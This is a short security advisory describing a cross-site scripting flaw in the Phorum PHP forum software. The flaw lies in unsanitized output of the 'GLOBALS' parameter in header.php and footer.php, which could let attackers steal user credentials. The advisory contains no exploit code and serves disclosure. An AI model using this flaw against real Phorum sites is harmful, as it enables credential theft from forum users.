Phorum is a PHP based web forums package designed for most UNIX variants, Linux, and Microsoft Windows operating systems.

The 'header.php' and 'footer.php' components of Phorum do not santize the client-supplied value of the 'GLOBALS' parameter prior to output. As a result, script commands embedded in these variables will be executed by the client in the context of Phorum.

Attackers may exploit this vulnerability to obtain user credentials.
